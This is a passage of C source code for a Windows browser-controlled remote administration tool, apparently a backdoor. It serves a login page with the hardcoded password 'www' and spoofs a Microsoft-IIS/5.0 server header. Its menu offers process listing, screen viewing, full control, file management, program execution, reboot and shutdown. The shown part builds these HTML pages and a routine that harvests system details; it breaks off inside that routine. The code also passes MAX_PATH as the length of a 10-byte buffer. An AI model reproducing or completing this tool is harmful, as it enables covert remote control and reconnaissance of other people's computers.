#include <winsock2.h>
#include <stdio.h>
#include <httpext.h>
#include <mmsystem.h>
#include <TLHELP32.H>
#pragma comment(lib,"Ws2_32")
#pragma comment(lib,"Winmm.lib")
#define MAXDATASIZE 4096
#define BUFFER_SIZE 4096
char revdata[BUFFER_SIZE] ={0};
char to_index[MAXDATASIZE] ="HTTP/1.1 302 Object Moved\r\n"
"Content-Length: 0\r\n"
"Location: /login.htm\r\n"
"Set-Cookie: aspsessionidgggggled=GKDVRLECUNEEXLJRRNWVUKQ; path=/\r\n\r\n";
//管理员登陆页面
char login[MAXDATASIZE] = "<html>\r\n"
"<head>\r\n"
"<title>管理员登陆</title>\r\n"
"</head>\r\n"
"<body>\r\n"
"<form action=/cgi-bin/login.htm method=post>\r\n"
"<div align=center><center><p> </p>\r\n"
"</center></div><div align=center><center><p> </p>\r\n"
"</center></div><div align=center><center><p><font color=#0000FF>请输入管理密码:</font><br>\r\n"
"<input type=password name=pass size=20><br>\r\n"
"<input type=submit value=Login> </p>\r\n"
"</center></div>\r\n"
"</form>\r\n"
"</body>\r\n"
"</html>\r\n";
//主页面
char index_htm[MAXDATASIZE] = "<HTML>\r\n"
"<HEAD>\r\n"
"<TITLE>Air~ Web Sever</TITLE>\r\n"
"</HEAD>\r\n"
"<FRAMESET COLS='198,*'> \r\n"
"<FRAME SRC='control.htm' NAME='LFrame' scrolling='no'>\r\n"
"<FRAME SRC='viewdir.htm' NAME='RFrame'>\r\n"
"</FRAMESET>\r\n"
"</HTML> \r\n";
//左边栏管理页面
char control_htm[MAXDATASIZE] = "<html><head><title>天涯浪人 B/S远程控制测试</title></head><body><table border='1' width='174' bgcolor='#FFFFFF' bordercolor='#7687B8' bordercolorlight='#6688AA' bordercolordark='#8D9BCB'>"
"<tr><td width='152' colspan='4' bgcolor='#FFFFFF'><p align='center'><strong><font color='#000080'>B/S远程控制测试</font><font color='#008080'> </font></strong></td></tr>"
"<tr><td width='1'></td><td width='232' colspan='2' bgcolor='#C0C0C0'><p align='center'><font color='#00FF00'>远程管理</font></td>"
"<td width='1'></td></tr><tr><td width='152' valign='middle' colspan='4'><a href='pslist.htm' target='RFrame'><p align='center'>进 程 列 表</td></tr>"
"<tr><td width='152' valign='middle' colspan='4'><p align='center'><a href='sysinfo.htm' target='RFrame'>系 统 信 息</td>"
"</tr><tr><td width='152' colspan='4'><p align='center'>端 口 列 表</td></tr><tr><td width='152' colspan='4'><p align='center'>服 务 列 表</td>"
"</tr><tr><td width='1'></td><td width='232' colspan='2' bgcolor='#C0C0C0'><p align='center'><font color='#00FF00'>远程管理</font></td>"
"<td width='1'></td></tr><tr><td width='152' colspan='4' align='center'>屏 幕 查 看</td>"
"</tr><tr><td width='152' colspan='4' align='center'>完 全 控 制</td></tr><tr><td width='152' colspan='4' align='center'>文 件 管 理</td>"
"</tr><tr><td width='152' colspan='4' align='center'>服 务 管 理</td></tr><tr><td width='152' colspan='4' align='center'>运 行 程 序</td>"
"</tr><tr><td width='76' colspan='2' align='center'><p align='center'>重 起 </td><td width='76' colspan='2' align='center'>关 机</td>"
"</tr><tr><td width='1'></td><td width='232' colspan='2' bgcolor='#C0C0C0'><p align='center'><font color='#00FF00'>帮助中心</font></td>"
"<td width='1'> </td></tr><tr><td width='152' colspan='4' align='center'><a href='http://www.air5.cn' target='RFrame'>作 者 网 站</td>"
"</tr><tr><td width='152' colspan='4' align='center'><a href='http://www.air5.cn' target='RFrame'>程 序 说 明</td></tr><tr><td width='79' align='center' colspan='2'><a href='main.htm' target='RFrame'>"
"<fontcolor='#000080'>首 页</font></a></td><td width='79' align='center' colspan='2'><a href='exit.htm' target='RFrame'><font color='#000080'>退 出</font></a></td>"
"</tr><tr><td width='152' colspan='4' align='center'>By: 天涯浪人~</td>"
"</tr><tr><td width='152' colspan='4' align='center'>版 本:0.1测试版</td></tr><tr><td width='152' colspan='4' align='center'>版 权 所 有</td>"
"</tr></table></body></html>";
char g_password[] = "www";
char g_Host[128] = "127.0.0.1";
BOOL SendToIE(SOCKET s, char *data);
void sysinfo(SOCKET s);
BOOL SendToIE(SOCKET s, char *data)
{
char buffer[BUFFER_SIZE+200];
DWORD bufferLen;
//数据HTTP打包,加上response头,格式固定,很简单
sprintf(buffer, "HTTP/1.1 200 OK\r\n"\
"Server: Microsoft-IIS/5.0\r\n"\
"Date: Sun, 23 Oct 2005 06:06:46 GMT\r\n"\
"Content-Length: %d\r\n"\
"Content-Type: text/html\r\n"\
"Set-Cookie: ASPSESSIONIDACBAQCAA=TESTHTTPWEBMANAGE; path=/\r\n"\
"Cache-control: private\r\n\r\n"\
"%s\r\n"
, strlen(data), data);
bufferLen = (DWORD)strlen(buffer);
send(s,buffer, (DWORD)strlen(buffer),0);
// printf("##senddata:\r\n%s",buffer);
return true;
}
DWORD GetOS()
{
OSVERSIONINFO os;
os.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&os);
switch(os.dwPlatformId)
{
case VER_PLATFORM_WIN32_WINDOWS:
return VER_PLATFORM_WIN32_WINDOWS;
case VER_PLATFORM_WIN32_NT:
return VER_PLATFORM_WIN32_NT;
}
return 0;
}
void sysinfo(SOCKET s)
{
TCHAR szBuff[MAXDATASIZE] = {0};
TCHAR szTemp[MAXDATASIZE] = {0};
TCHAR Buff[MAXDATASIZE] = {0};
wsprintf(szBuff,"<font color='#Df14fC'>System Information:</font><br><br>");
// send(clientFD,szBuff,sizeof(szBuff),0);
// printf(szBuff);
strcpy(Buff,szBuff);
// strcat(Buff,szBuff);
//计算机名
DWORD len=sizeof(szTemp);
GetComputerName(szTemp,&len);
wsprintf(szBuff,"<font color='#DC143C'>Computer Name: %s</font><br><br>",szTemp);
// send(clientFD,szBuff,sizeof(szBuff),0);
// printf(szBuff);
strcat(Buff,szBuff);
//当前操作系统
switch(GetOS())
{
case VER_PLATFORM_WIN32_WINDOWS:
lstrcpy(szTemp,"Windows 9x");
break;
case VER_PLATFORM_WIN32_NT:
lstrcpy(szTemp,"Windows NT/2000");
break;
}
wsprintf(szBuff,"<font color='#000080'>Option System: %s</font><br><br>",szTemp);
// send(clientFD,szBuff,sizeof(szBuff),0);
// printf(szBuff);
strcat(Buff,szBuff);
//内存容量
MEMORYSTATUS mem;
mem.dwLength=sizeof(mem);
GlobalMemoryStatus(&mem);
wsprintf(szBuff,"<font color='#000080'>Total Memroy: %dM</font><br><br>",mem.dwTotalPhys/1024/1024+1);
// send(clientFD,szBuff,sizeof(szBuff),0);
// printf(szBuff);
strcat(Buff,szBuff);
//系统目录
TCHAR szPath[MAX_PATH];
GetWindowsDirectory(szTemp,sizeof(szTemp));
GetSystemDirectory(szBuff,sizeof(szBuff));
wsprintf(szPath,"<font color='#0ff080'>Windows Directory:</font> <font color='#0ff080'>%s</font><br><br><font color='#0ff080'>System Directory: %s</font><br><br>",szTemp,szBuff);
// send(clientFD,szBuff,sizeof(szBuff),0);
// printf(szBuff);
strcat(Buff,szPath);
//驱动器及分区类型
TCHAR szFileSys[10];
for(int i=0;i<26;++i)
{
wsprintf(szTemp,"%c:\\",'A'+i);
UINT uType=GetDriveType(szTemp);
switch(uType)
{
case DRIVE_FIXED:
GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH);
wsprintf(szBuff,"<font color='#340080'>Hard Disk: %s (%s)</font><br><br>",szTemp,szFileSys);
// send(clientFD,szBuff,sizeof(szBuff),0);
// printf(szBuff);
strcat(Buff,szBuff);
break;
case DRIVE_CDROM:
wsprintf(szBuff,"<font color='#h0d080'>CD-ROM Disk: %s</font><br><br>",szTemp);
// send(clientFD,szBuff,sizeof(szBuff),0);
// printf(szBuff);
break;
case DRIVE_REMOTE:
GetVolumeInformation(szTemp,NULL,NULL,NULL,NULL,NULL,szFileSys,MAX_PATH);
wsprintf(szBuff,"<font color='#af00080'>NetWork Disk: %s (%s)</font><br><br>",szTemp,szFileSys);
// send(clientFD,szBuff,sizeof(szBuff),0);
// printf(szBuff);
strcat(Buff,szBuff);